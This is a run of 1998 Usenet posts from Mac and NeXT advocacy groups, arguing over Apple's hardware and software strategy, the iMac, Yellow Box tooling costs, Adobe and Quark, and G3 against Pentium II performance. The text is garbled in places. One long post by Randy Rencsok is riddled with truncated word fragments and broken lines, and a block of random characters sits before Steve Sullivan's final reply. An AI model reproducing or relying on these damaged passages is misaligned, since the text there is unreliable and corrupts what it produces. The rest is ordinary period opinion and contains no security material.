References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <gmgraves-1408981604470001@sf-pm5-17-81.dialup.slip.net> <6r3bol$7h7$1@nnrp1.dejanews.com> <gmgraves-1508981149210001@sf-usr1-23-151.dialup.slip.net> <6r5gq5$ugi$1@nnrp1.dejanews.com> <macman-0509982008110001@d185d1c66.rochester.rr.com>
In article <macman-0509982008110001@d185d1c66.rochester.rr.com>,
macman@rochester.rr.com (Stephen Rea) wrote:
> I love it.
>
> When Apple didn't bundle a keyboard, and offered a choice of two of their
> own (and numerous 3rd party) there were big complaints.
>
> Now that Apple does bundle a keyboard (and not a bad one at that) there
> are big compalints.
Actually, I don't really care if Apple bundles the keyboard or not. I was
simply pointing out that a statement made by George Graves was false.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sun, 6 Sep 1998 00:48:17 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6st7qq$psk7@odie.mcleod.net>
References: <*johnnyc*-0509981018140001@jchristie.halifaxcable.dal.ca> <B21760D8-A78A@206.165.43.97>
Lawson English wrote in message ...
>$500???
>
>Is that a solid figure or are you just guessing?
>
>If it is solid, how can Apple expect anyone to take them seriously about
>using YB to do ANY applications programming?
>
>
$500 is the cost of the developer program subscription that provides access
to pre-release software.
However, even if Apple charged $500 for the development tools, they would be
successful. That would be an excellent price in my point of view. Dev
Studio costs $500. Watcom cost $500. I bet even Metrowerks cost $500. The
burdened labor rate for professional programmers industry wide is at least
$120,000 per year. As much as $20,000 in development tools per seat per
year can be justified by many corporations. (Ten years ago, that figure
would have been $50,000) Most managers can sign purchase orders for $500.
That is less that .5% of the burdened cost of a programmer.
Apple is a hardware company and as such they feel the need to discontinue
working products for competing hardware; I think it is time we started
seeing the "up side" of Apple being a hardware company. I think the
developer tools should be free on PPC. Apple can charge for support if they
want. Let all of the teenagers and amateurs play with the tools. What can
it hurt ?
From: Bobby Wang <bobbyw@pacific.net.sg>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Wintrolls Lost It? Where's "Mac Is DEAD!"/"Apple Going AWAY!" ?
Date: Thu, 03 Sep 1998 19:50:39 +0800
Organization: Subscriber of Pacific Internet, Singapore
Message-ID: <35EE828F.2531E819@pacific.net.sg>
References: <datamagik-0209980538550001@eccr225mac195.colorado.edu> <35fd8ab5.317187406@198.0.0.100> <datamagik-0209982248550001@norlm350mac20.colorado.edu> <macghod-0309980009480001@sdn-ar-001casbarp310.dialsprint.net>
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There are enginners, and there are engineers. Some are just plain stupid
engineers. Nothing unusual.
Steve Sullivan wrote:
> I wonder if Jay actually believes this. After everything that has been
> written about bytemark, how Apple's own web page admitted that Apple did
> the test in its own lab, the results of codewarrior doing the compiling on
> BOTH platforms, the real world reports, even what Apple's own engineers
> have said about a g3 being only %30 faster than a same speed p2, how could
> one be so naive?
>
> And this person claims to be a engineer!!!!!!
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Fri, 04 Sep 1998 09:48:44 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0409980948450001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu> <6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu> <6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu> <6ser4k$21j$1@ash.prod.itd.earthlink.net> <rmcassid-3108981302170001@hephaestus.eng.uci.edu> <6sistm$5j3$1@fir.prod.itd.earthlink.net> <rmcassid-0209981613170001@hephaestus.eng.uci.edu> <6sl38j$bf4$1@holly.prod.itd.earthlink.net>
In article <6sl38j$bf4$1@holly.prod.itd.earthlink.net>, "Ziya Oz"
<ZiyaOz@earthlink.net> wrote:
>So given all this, how do you expect Apple to convince, say, Macromedia to give
>up this app-centric in favor of an OS-centric approach?
By example. I used Dreamweaver and was quite enamored by it. But
Cyberstudio 3 blows it out of the water. The difference is the
integration.
Tell me developers wouldn't flock to Adobe products that deferred many
tasks to the OS - like scripting. If Apple did have Adobes apps, and the
marketshares are as they claim (up to 80% of installed versions on MacOS),
I can't see Macromedia making much progress with the lowest common
denominator way of doing things.
>>Because the Windows solution will still suck rocks, but Apple can still
>>claim parity. There _is_ a solution there, but it's not Apples fault that
>>nobody can get it to work. Of course, things work a bit better on the
>>MacOS...
>
>Neither customers nor developers like to get into the "blame the other
guy" game
>if they can avoid it. Most simply aviod it.
MS doesn't. Doesn't seem to be hurting them any.
>>The apps should rely much more heavily on what the
>>respective OS provides
>.
>So you've already been visited by the OpenStep bug :-)
Sure. Apple's got some truly kick-ass stuff here. With the proper
packaging and exposure it could be quite exciting. Mac OS X looks quite
promising on paper.
>>They still would be able to, in the way that they are selling the iMac.
>>You can spend 30 minutes trying to figure out how to do this with Windows,
>>or 30 seconds with the Mac.
>
>Of course, iMac has all the "problems" of any other Mac: lack of software and
>inability to run Windows natively :-)
People will forgive that if you give them something in exchange.
-Bob Cassidy
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
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<6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu>
<6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu>
<6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu>
<6ser4k$21j$1@ash.prod.itd.earthlink.net> <rmcassid-3108981302170001@hephaestus.eng.uci.edu>
<6sistm$5j3$1@fir.prod.itd.earthlink.net> <h0fH1.3205$MS.7621650@news.rdc1.sdca.home.com>
<6sl4s4$bsl$1@ash.prod.itd.earthlink.net> <9CpH1.3254$MS.7958045@news.rdc1.sdca.home.com>
<6sld5m$t65$1@holly.prod.itd.earthlink.net> <12FH1.3288$MS.8380359@news.rdc1.sdca.home.com>
<6snqve$4dl$1@fir.prod.itd.earthlink.net> <RTTH1.3517$MS.8764696@news.rdc1.sdca.home.com>
<6sqht5$jtm$1@ash.prod.itd.earthlink.net>
Message-ID: <YGpI1.4108$MS.9690914@news.rdc1.sdca.home.com>
Date: Sun, 06 Sep 1998 06:10:00 GMT
NNTP-Posting-Date: Sat, 05 Sep 1998 23:10:00 PDT
Organization: @Home Network
In <6sqht5$jtm$1@ash.prod.itd.earthlink.net> "Ziya Oz" wrote:
> rr6013@yahoo.com wrote:
>
> >Flash forward, today... We have iMac on the market. No slots. Marketing
> >la 1984. And you are singing the praises of "closed" boxes and
proprietary
> >platform strategy. This strategy in a World dominated by MS's open
strategy
> >y has been tried before in "much" more favorable conditions. They lost
80%
> > of their marketshare, in other words, they failed with a "closed"
strategy.
>
> I said nothing about iMac. But, now that you mentioned it, I think it's
flying
> off the shelves. What's your complaint? That it is closed? Not expandable?
> Whatever.
>
> It represents a value proposition that people are obviously responding to
very
> positively.
>
>
Actually, I don't think it is about "value" per se. I think SJ has given
people a machine they can fall "in love" with again. This iMac is one sexy
proposition and its attributes reinforce the kind of users Apple wants.
People who love computers. There is nothing wrong with that :-)
> Once again proving my point that when you offer people what they
> want/desire/lust, they buy it regardless of its state of being "open" or
not.
> iMac has very distinct advantages (ease of use, industrial design,
performance,
> etc), and 15% of the current purchasers are Windows users.
>
I agree with you...
> >The distinction and advantage MS leveraged to market dominance was "open"
> >vs. "closed". The open marketplace was competitive and as such drove
prices
> >s thus costs of computing down. The closed marketplace was oligopolistic
> >ith protected margins and drove business to the affordable purchasing
> >ions. The marketplace chose affordable. They chose MS.
>
> So what? Apple's focus has *never* been on the cheapest and lowest common
> denominator stuff.
>
>
Now, now... don't go changing the goal posts. Now where has this thread
addressed cheapest, LCD stuff.
> They bet on the presence of a more discerning customer base.
> Apparently, there still remain 20+ million of them. Hopefully, it'll grow.
When
> everybody prefers the cheapest solution then there won't be an audience
for
> Apple products. I'm betting that that won't be the case.
>
>
Very discerning they are... But the volume, critical mass aggragation of
users is achieved not by changing 100's of millions of peoples value
judgements. Its by meeting the markets demands.
-r
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
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<6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu>
<6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu>
<6ser4k$21j$1@ash.prod.itd.earthlink.net> <rmcassid-3108981302170001@hephaestus.eng.uci.edu>
<6sistm$5j3$1@fir.prod.itd.earthlink.net> <h0fH1.3205$MS.7621650@news.rdc1.sdca.home.com>
<6sl4s4$bsl$1@ash.prod.itd.earthlink.net> <9CpH1.3254$MS.7958045@news.rdc1.sdca.home.com>
<6sld5m$t65$1@holly.prod.itd.earthlink.net> <12FH1.3288$MS.8380359@news.rdc1.sdca.home.com>
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<6sqht5$jtm$1@ash.prod.itd.earthlink.net>
Message-ID: <72qI1.4109$MS.9706017@news.rdc1.sdca.home.com>
Date: Sun, 06 Sep 1998 06:34:43 GMT
NNTP-Posting-Date: Sat, 05 Sep 1998 23:34:43 PDT
Organization: @Home Network
In <6sqht5$jtm$1@ash.prod.itd.earthlink.net> "Ziya Oz" wrote:
> I want my OS vendor to make life easier for me and endow me with distinct
> advantages. I don't care whether those offerings are open or closed as
long as
> they allow me to get my job done.
>
>
Well, there you go... See it ultimately doesn't matter! So we get down to
the ultimate purchase decision - "How does it affect me".
> I'm very much willing to pay for this --
> premium, double or triple as long as it allows me to make more money. If
an
> Apple box allows me to produce design work with less frustration and
better
> facility I never blink about paying an extra $1K-$2K premium to get that
> advantage. It's a drop in the bucket in my budgets.
>
>
Brand recognition for Apple has always been "premium" priced. You fit the
typical Apple customer profile who understands the value of Mac integration,
design and engineering AND is willing to pay for them. You are also willing
to wait for Apple to release whatever next great improvement will help your
business.
Most other people aren't so patient. In fact, few organizations can let
marketplace advantage slip into their competitors hands. That is why slots
become the strategic weapon of choice in the business playing field.
Whether its multimedia content creation or web designs, your work is
ultimately, a reflection of the tools you have to work with.
MTV was using sounds generated on NeXT computers because they were "unlike"
anything in existence and offered the diferentiation that MTV needed.
Realtime Video editing is happening on add-in cards on NT because the slots
are there.
Open hardware is an essential to compete in the mass marketplace. iMac will
do just fine. Its going to give people a very nice machine that instills a
kind of pride of ownership that has too long been absent in this
marketplace.
That two competitors, Quark & Adobe, find their fortunes better being
"independent" from their OS is a sad state of affairs for Apple customers.
Worse that it is Apple's strongest "niche" market is more troubling. Like
the Canary in the Gold mine, it could portend negative consequences for
other developers in other niches.
Maybe we can agree that Apple needs to find some solutions to these
problems, even if we can't agree on how they should initiate the process?
-r
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Adobe K2: Where's the Yellow Box?
Date: 6 Sep 1998 07:02:02 GMT
Organization: University of Illinois at Chicago
Message-ID: <6stc1a$137o$1@piglet.cc.uic.edu>
References: <35F1B78A.E8792B73@earthlink.net>
tenbrook (wtenbrook@earthlink.net) wrote:
: Steve Jobs had Adobe demo their new page layout system, codename K2, at
: Seybold. MacWeek and others have reported that this will run under
: MacOS 8.5 and under Carbon API's on MacOS X.
: What has happened to the Yellow Box paradigm? Adobe is apparently
: writing new code from the ground up, and wants MSWindows market share,
: so why write an entirely new system to operate on the Mac toolbox,
: albeit Carbon updated, instead of writing a Yellow K2 that would run on
: Windows with recompile?
: Is this peculiar to Adobe, or are the Yellow (OPENSTEP) libraries being
: ignored by developers in general? Has Apple dropped evangelism for
: Yellow programming?
: Perhaps MacOS X is just too far over the horizon for Adobe to write K2
: as a Yellow app. Any comments on all this?
Well the obvious answer is that they want this program to run under
Mac OS 8.5. Also they aren't going to wait for an OS which is over a
year away. And considering their financial situation they aren't
going to take a risk on a programming interface that isn't widely
available yet and spend scarce resources (and find/train programmers for
OpenStep/YellowBox).
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 6 Sep 1998 07:32:48 GMT
Organization: Michigan State University
Message-ID: <6stdr0$919$1@msunews.cl.msu.edu>
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Cc: Michael.Peck@ericsson.com
In <35F03240.EFCA4EBD@ericsson.com> Michael Peck wrote:
> Matt Kennel wrote:
>
> > In other words, Sun did not choose between hardware and software.
Yes but I think Michael pointed out that Sun has
SMCC is a hardware platform company. SunSoft, Inc. is a software
company.
Apple has no such division, which is sorely needed IMO.
> I don't know anyone who is asking Apple to "choose". The focus is on
> "choice", ironically. In other words, offer customers the "choice"
nd
> allow Apple to profit from that "choice". Squelching MacOS for Intel
and
> limiting the availability of other software technologies on other
> platforms has been a trademark of Apple's operation since its
ion.
I've not been advocating Apple or any other combined hardware/software
vendor to 'choose'. What I have said and I stand behind this. Is that
t because
of the growing opensource movement closed proprietary hardware/software
solutions will become less and less attractive.
They will die under economies of scale.
BTW: Michael I'm not arguing with you - but those who are (Matt etc.)
Who are the big players now-a-days. MS, Intel, IBM (simply because
IBM IS a big company and they do a lot of basic R&D).
I've not check DEC lately but they had a solid place. I have made my
arguments elsewhere. I simply reiterate that by making everything
proprietary Apple is missing the open-boat so to speak. There are a
lot of reasons not to go with Sun, HP, Dec, SGI, and Apple.
ng
that folks don't realize the power of legacy interests, and the power
of
a near monopoly. Also the element of legacy investment. Once a
on
makes a sucessful switch they generally don't look
back, and after a time the new legacy investment creates it's own
rtia
effect (keeping people in their new OS). Apple really has little to
offer
to interest people running anything other than MacOS (X included).
Sure maybe some developers will have good reason to be interested
but users - probably not, server shops nope.
So tell me that Apple is going to penetrate new markets, iMac blah.
Mac
is the easy upgrade for the MacOS herds that can't afford the higher
nd
boxes.
Sun at least has decent server solutions, Apple seems to be ignoring
the server shops.. And Apple is pretty much ignoring the x86 hardware
folks. Really dumb IMHO.
> When customers have chosen, Apple will then be free to leverage each
> component to its maximum benefit, both to the company and to its
> customers (there is a strong link, here, believe it or not). Sun's
> hardware still provides value to its customers; there's no reason to
> "choose", in that case. By contrast, Apple's hardware was of
hing
> value, as evidenced by the results of the cloning program.
It does offer value, but almost always it's because of legacy
ions
that people want to run faster - again proprietary solutions basically
running on the legacy inertia effect. It's one of the reasons that
un
is still in hardware. SGI's problems is that it has depended on the
graphics edge - which has been whittled away - along with their
cpu edge for quite some time.
> Someday, perhaps when Merced begins to ship in volume, Sun's hardware
> may be less compelling, and hardware sales may diminish
y.
> When that happens you can expect Sun to be ready to switch over to
> software solutions; don't bet against it. The recent flurry of
ity
> of Solaris for Merced and licensing of the same is evidence for this,
, as
> is the strong JavaSoft program.
If Sun was smart they'd offer a Merced version.. Thing is any hardware
switch effectively screws over people dealing with proprietary legacy
applications. And this is the sole reason opensource solutions are
preferred - you don't have the potential to get horribly hosed in these
kinds of transitions - your not at the mercy of some 3rd party to do a
port
or a recompile etc.
> As a counter-example, take Silicon Graphics, which is exiting its own
> processor business. It will be selling primarily NT-based hardware
> solutions in the not-so-distant future, presumably. Did you know that
> Hewlett-Packard sold more NT workstations last year than
ed
> HP-UX boxes?
I didn't know this (have a reference or URL). It doesn't suprise me
TW.
> > It makes its money selling hardware, which is made uniquely
le by
> > its software.
> >
> > Just like Apple.
>
> No, *not* "just like Apple". I've tried to explain the differences; I
> have to let you figure it out.
Sure Apple makes it's money from hardware, but I can't see it's
ly
valuable. Seems to me Apple is trying to levarage legacy, but the
roblem
is the only way legacy will continue is through bluebox. And all this
s comes
about because of the cpu arch switch(s). Actually this is something
that
x86 will face, but in fact intel has made some impressive strides while
e yet
retaining nearly full backward compatibility.. I suspect this is also
one of
the reasons for x86's and Intels dominance. The sheer fact that you
don't
have to upgrade your software when you buy new hardware.
> > :Careful observers may note that these assets lie almost
ly in
> > :the software domain. Is an answer forming in your mind?
> >
> > Yes: if Apple loses price/performance in hardware it is toast, no
matter
> > what they do for software.
>
> As I've already said, this is a short-term concern, mostly brought
pon
> themselves by even recent campaigns touting the advantages of Apple
> hardware, not Apple software. Ironic, no?
Agreed. A strange turn of events in my mind. Apple would have done
well to leave the our hardware is faster arguments to be thrashed out
by the masses. If it is faster then it will not be kept secret. If
not then
rest assured that will also be found. I find it a hard case at this
point
to be made for some edge of Apple hardware & software combination.
The only bonuses seem to be for Apple hardware users, and developers.
Will it be enough. I don't know. I'm rather tired of seeing what
ings Apple
does and then trying to find how they can be turned to advantage.
Right now the clock ticks on Apple doing OpenMach - the longer they
it
the more momentum Linux gets - tell me if you were Apple do you care
if Linux wins over BSD? Is it just as easy to port YB to Linux as a
BSD
variant? If so then I guess Apple has reason not to care, if not then
n
they better find a way to inject some energy into the BSD camps.
> Sun's price/performance is diminishing rapidly, but Sun is not
t".
> Do you wonder why this is, or will you simply dismiss it?
Not yet. I'm willing to bet that Sun will start hurting as Linux on
SMP
Xeons running Oracle, Apache, etc. start taking a bite out of it's
server markets.
> > If Apple fails to maintain modern standards
> > in software, it is toast, no matter what they do for hardware,
ugh this
> > would be a slightly slower death.
>
> Obviously, a much slower death, since this is the death we've been
> witness to for the past four years. By the way, what kept Apple sales
> strong from roughly 1990 to 1994? Was it sales of the underpowered
8K
> series, or even the overpriced and underwhelming PowerPC? I don't
ink
> so.
The death is spreading to other companies. I'm willing to bet all the
non
MS/Intel companies with combined hardware/software solutions are
ing
to feel the crunch. Development costs for software & hardware have
to be tremendous.
Think about this:
Microsoft has a sucessful business model developed on software alone.
Intel similiarly on hardware alone.
I'm willing to bet there is no company that has simultaneously
ally
successful software and hardware divisions (i.e. one doesn't support
he other).
Sun maybe the closest, and this may be why it's still here and
ly doing
ok. (It has sucessfully seperated hardware & software divisions and
ndependantly
made them profitable - I don't know though)
> > So, why must Apple choose between hardware and software? It seems
to me
> > that they can't ignore either one. Just like Sun.
They don't have to choose. They have to operate each division
as if they were independant of each other.
> Of course they can't ignore either one: they have to carefully watch
the
> market and balance as they go forward. In my opinion, the market has
> been signalling its moves for the past ten years, and everyone is
ing
> to have to push software *really* hard or they're going to miss the
big
> picture. Hardware's importance has been diminishing since well before
> NeXT realized what was happening.
Interesting that everyone is saying this about hardware.. I personally
think everyone has it backwards. Sure there is stiff competition in
hardware, and I think this is why everyone wants to think leveraging
software can leverage hardware.. I think what has become clear is
that it's becoming very hard to leverage hardware with software -
especially proprietary software.. Sun with Java has taken this
to an extreme and is pouring tons of money into Java. The fact
that the runtimes are basically free is the ultimate extreme of
ging
hardware sales with software giveaways.. You can't go to much farther
except to give away more software or better package. Is YB the next
step. Tell me how long will Sun be able to develop Java is their
rdware
sales slump? Or even worse if Microsoft comes up with a Java
tor?
Same arguments apply to YB. Isn't anyone getting the hint of a trend
here. Software is moving to a free model. Ultimately we will be
ft
in strictly a hardware against hardware competitive situation. In this
situation legacy, and flexability will win the day. The hardware that
can run the most OS's, and the most legacy applications will probably
win out.. Right now this is x86. The only way Apple can penetrate
markets is to get as many OS's running on it's hardware as possible,
or to offer a solution that fufills the above criterion (x86's from
ple
- I think Apple should seriously consider this option - and very much
reconsider MacOS X for Intel). If Apple ignores the x86 markets
except through YB I suspect they will quickly reap the results of the
err of their ways.
Funny Jobs still to this day doesn't seem to get this one fact, nor
many others IMO. Only SGI seems to have gotten the picture
and they are facing a tough transition, because a cpu arch transition
hurts customers very much because of legacy & proprietary solutions.
> The eventual outcome of a prudent strategy will almost certainly be a
> general reliance on software tools. That's just my prediction; in any
> case Apple is not balancing things well at all.
This is where I think you guys are wrong. I know you will figure
out how to beat up on the hardware arguments. I will let the
future tell whether my arguments were correct or not.
> > Notice that Sun's acquiescence of cloning doesn't extend to its
gh-profit
> > lines,
>
> Precisely! Didn't we see that the very market in which clones
red
> Apple was in low-end systems, where more nimble competitors could
> stretch margins the farthest? Even so, Apple's new "wave of the
re"
> is in a low-end product, the iMac. This doesn't strike you as odd?
Not just odd. But a desperate move that will probably fail. Apple
ould
be wise to add a small line of off the shelf multiOS friendly x86 boxes
to their line. Personally I don't think they will do it. The time
is very ripe
on this one - I wish I had acces to the capital to put a company
her around
this idea.
> Haven't you been listening to what I've said? Take Silicon Graphics
as
> an example, yet again. Where does SGI ship NT systems? To its low-end
> market, of course. Where does Digital ship NT systems? To its low-end
> market, of course. Where does Hewlett-Packard ship NT systems? To its
> low-end market.
Correct. It's the high end that will pay for the proprietary cutting
edge
solutions. But I suspect we are seeing something of a metamorphisis
of the computing world and I also suspect that like in the insect world
it's nearly impossible to know what will come out of the coccoon once
it's accomplished. I think I have a hint - If I'm right then the
ve
multiOS fiendly hardware company will become a thing of reality in the
next
3-5 years. OS manufacturers will have to face other OS's that run on
almost
any piece of hardware.
> Apple's shipment of the iMac is disconcerting.
Just some last death throws. Though this could signal the beginning
of
that < $500 internet Computer folks have been talking about.
> > and that Solaris x86 is wilting under neglect.
>
> This is not fair in the least. Solaris x86 is a crown jewel for Sun,
> even though most people don't know it. Sun has continued to ship the
> product year after year, despite disappointing sales. Most other
> companies (like Apple, for instance) would have dropped it long ago.
Sun
> knows what it's doing because it sees the transition coming.
Yes I agree Sun knows that eventually the x86 line will be where it's
at.
They are building legacy there. They are also probably hoping that
when merced transitions that x86 legacy issues will be nicely addresed.
> > Yes. I also include trying to get PC companies to pre-load
cial
> > operating systems other than Windows.
> >
> > As Jobs once said, if Apple tried to do that in 1989, instead of
oday,
> > things could have turned out very different. But the right answer
r then
> > is not the right answer now.
>
> Perhaps. But there are different reasons that it's the right answer
> today, at least for portable operating systems like Linux. It's still
> the wrong answer for Apple because MacOS still doesn't run on
> alternative hardware. The longer it goes on, the more ingrained
mes
> the mentality that says "MacOS is irrelevant to me".
Only if you think at the wrong end 'software'. Think MultiOS friendly
hardware - i.e. Apple x86 line - that is multiOS friendly. That gives
Apple a shot in the big playing field. I can't see how it can hurt
G3 sales since G3 sales are driven by legacy mostly. Hopefully
if the G3 has good performance, that could also be a selling point.
Again all the above makes MacOS for x86 seems like a no-brainer to me,
and a Apple branded x86 made from off the shelf components and multiOS
friendly more needed all the time.
> > :After several years of increasingly
> > :disappointing results (but probably not surprising) some of its
> > :importance and relevance was regained through vending of advanced
> > :software tools instead of obsolete hardware.
> >
> > But almost surely these niches were on the verge of being Borged or
r Javaized.
>
> That happens when you're too late to market.
Just too late period. After Apple purchased NeXT I challenged them to
o simply
port Openstep to PPC and ship as is, to start building legacy on PPC.
Apple
didn't take me up on the idea. So here we are nearly two years later
and
no product.
There are many that found it terribly ironic that NeXT dropped it's
rdware
line just as the dual PPC nrw was being completed.. Think of it in 93
3 we
could have had dual PPC's running NeXTstep. And you know what
we probably still won't see multi-cpu support even in CR1.. That shows
you how far behind these guys are (sorry to twist the spike in
ple
guys - but I there is good reason - Please listen to us out here.)
Final plug for my simple article which addresses many of the issues
discussed above.
"Is the Future Open or Closed?!"
http://www.channelu.com/Articles/ClosedorOpen/index.html
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: quinlan@intergate.bc.ca
Organization: none
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
<6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
<6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
<EyqADA.654@T-FCN.Net> <6so6h0$t7o$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Fri, 4 Sep 1998 17:14:50 GMT
In <6so6h0$t7o$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> I was refering to tracking. If you want dynamic scrolling then the
> application must be informed every time the thumb is moved or the arrows
> pressed.
Sure, but the problem is it's still blocking when you're _not_ moving it.
> The application need not be involved with any aspect of menu
> tracking
But even if the application does handle the mouse tracking in the menus,
the solution to the problem above works just as well here. The issue isn't
anything in theory, and everything in praticality.
I mentioned earlier that the current MacOS behaviour could be greatly
improved with some not-terribly-difficult code changes to the menu handler.
While your app would be blocked, the improvement in the performance of the
machine as a whole would get better - as you rightly pointed out this is of
lesser concern under Carbon.
But as Michelle pointed out the issue on the YB side of things appears to
be equally simple, the system simply has to release from the loop when it's
not doing anything. Doing this and both the foreground and background apps
would not block on "no input" and only block when the user is actually moving
the mouse around.
Yes, a more natural solution is to put these into another thread
(userthread is fine for this IMHO). The thread would block as normal (so no
code changes at all) yet the thread lib would block that thread only. In
fact this would also solve the menus problem too, as long as the graphics
system can handle it (that was SA's problem on the Mac, it didn't) and I
think it can. The issue then becomes working the system to make sure that
all of the standard widgets end up in the thread, and allow the user to put
their tracking stuff there too. And that doesn't seem so obvious.
But I do have some performance concerns after seeing some examples of what
goes wrong on the Be side. However, does anyone know if the Be's threads for
UI objects are LWP's or userthreads? There's no information on Be's site
about this, and if they are using LWP's or kernel threads then the problem is
the implementation rather than any theoretical issue.
Maury
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PPC 750 vs. Intel Pentium II
Date: 6 Sep 1998 07:36:55 GMT
Organization: Michigan State University
Message-ID: <6ste2n$919$2@msunews.cl.msu.edu>
References: <6shd74$fth@newsb.netnews.att.com> <6sk8ua$ch9$1@msunews.cl.msu.edu>
<6sm7do$lsf@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: gupta@kcopsrm.tm.tta.moc-mirror after @
In <6sm7do$lsf@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror
after @ wrote:
> >
> >Do you happen to know what specific systems the 750 benchmarks where
> >obtained on? I presume IBM. What OS?
> >
>
> I couldn't find any indication on the IBM web-site.
> IBM's submitted results on www.specbench.org (which do not
> include any PowerPC 750 results) use AIX 4, and are in their
> RS/6000 line (typically 604Es).
>
> The story on IBM's Silicon-on-Insulator process said that
> IBM demonstrated, internally, a 4-way PowerPC 750 server,
> where the CPUs were built on Silicon-on-Insulator.
> So, internally, I guess they have set-ups for 750s running AIX.
>
Thanks arun.
I guess it makes sense. From what I've seen the RS/6000 line
boxes are really quite nice in terms of our computationally
heavy benchmarks.. I wonder if Apple's MB implementation
is as good.
Anyway I guess we'll have something to play with when CR1
ships.. Anyone doing any Linux benchmarks on G3 vs. PII?
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sun, 06 Sep 1998 00:17:35 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0609980017370001@sdn-ar-001casbarp195.dialsprint.net>
References: <*johnnyc*-0509981018140001@jchristie.halifaxcable.dal.ca> <B21760D8-A78A@206.165.43.97>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <B21760D8-A78A@206.165.43.97>, "Lawson English"
<english@primenet.com> wrote:
> > Well, Apple is stopping alot of people from experimenting with YB by
> >requiring they pony up $500.
> > BTW, anyone here about the YB programming contest put on by Apple
> >Germany?
